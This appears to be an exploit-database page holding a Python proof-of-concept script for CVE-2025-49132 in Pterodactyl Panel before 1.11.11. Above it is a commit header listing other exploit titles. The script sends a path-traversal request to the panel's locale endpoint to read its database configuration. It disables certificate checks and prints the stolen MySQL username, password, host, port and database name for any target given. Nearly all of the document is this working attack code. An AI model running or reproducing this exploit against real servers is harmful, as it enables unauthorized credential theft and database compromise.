97a1ee1350
9 changes to exploits/shellcodes/ghdb OneTrust SDK 6.33.0 - Denial Of Service (DoS) McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information PX4 Military UAV Autopilot 1.12.3 - Denial of Service (DoS) Pterodactyl Panel 1.11.11 - Remote Code Execution (RCE) Sitecore 10.4 - Remote Code Execution (RCE) Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE) freeSSHd 1.0.9 - Denial of Service (DoS) Microsoft Excel 2024 Use after free - Remote Code Execution (RCE)
48 lines
No EOL
2.4 KiB
Python
Executable file
48 lines
No EOL
2.4 KiB
Python
Executable file
# Exploit Title: Pterodactyl Panel 1.11.11 - Remote Code Execution (RCE)
|
|
# Date: 22/06/2025
|
|
# Exploit Author: Zen-kun04
|
|
# Vendor Homepage: https://pterodactyl.io/
|
|
# Software Link: https://github.com/pterodactyl/panel
|
|
# Version: < 1.11.11
|
|
# Tested on: Ubuntu 22.04.5 LTS
|
|
# CVE: CVE-2025-49132
|
|
|
|
|
|
import requests
|
|
import json
|
|
import argparse
|
|
import colorama
|
|
import urllib3
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
arg_parser = argparse.ArgumentParser(
|
|
description="Check if the target is vulnerable to CVE-2025-49132.")
|
|
arg_parser.add_argument("target", help="The target URL")
|
|
args = arg_parser.parse_args()
|
|
|
|
try:
|
|
target = args.target.strip() + '/' if not args.target.strip().endswith('/') else args.target.strip()
|
|
r = requests.get(f"{target}locales/locale.json?locale=../../../pterodactyl&namespace=config/database", allow_redirects=True, timeout=5, verify=False)
|
|
if r.status_code == 200 and "pterodactyl" in r.text.lower():
|
|
try:
|
|
raw_data = r.json()
|
|
data = {
|
|
"success": True,
|
|
"host": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("host", "N/A"),
|
|
"port": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("port", "N/A"),
|
|
"database": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("database", "N/A"),
|
|
"username": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("username", "N/A"),
|
|
"password": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("password", "N/A")
|
|
}
|
|
print(f"{colorama.Fore.LIGHTGREEN_EX}{target} => {data['username']}:{data['password']}@{data['host']}:{data['port']}/{data['database']}{colorama.Fore.RESET}")
|
|
except json.JSONDecodeError:
|
|
print(colorama.Fore.RED + "Not vulnerable" + colorama.Fore.RESET)
|
|
except TypeError:
|
|
print(colorama.Fore.YELLOW + "Vulnerable but no database" + colorama.Fore.RESET)
|
|
else:
|
|
print(colorama.Fore.RED + "Not vulnerable" + colorama.Fore.RESET)
|
|
except requests.RequestException as e:
|
|
if "NameResolutionError" in str(e):
|
|
print(colorama.Fore.RED + "Invalid target or unable to resolve domain" + colorama.Fore.RESET)
|
|
else:
|
|
print(f"{colorama.Fore.RED}Request error: {e}{colorama.Fore.RESET}") |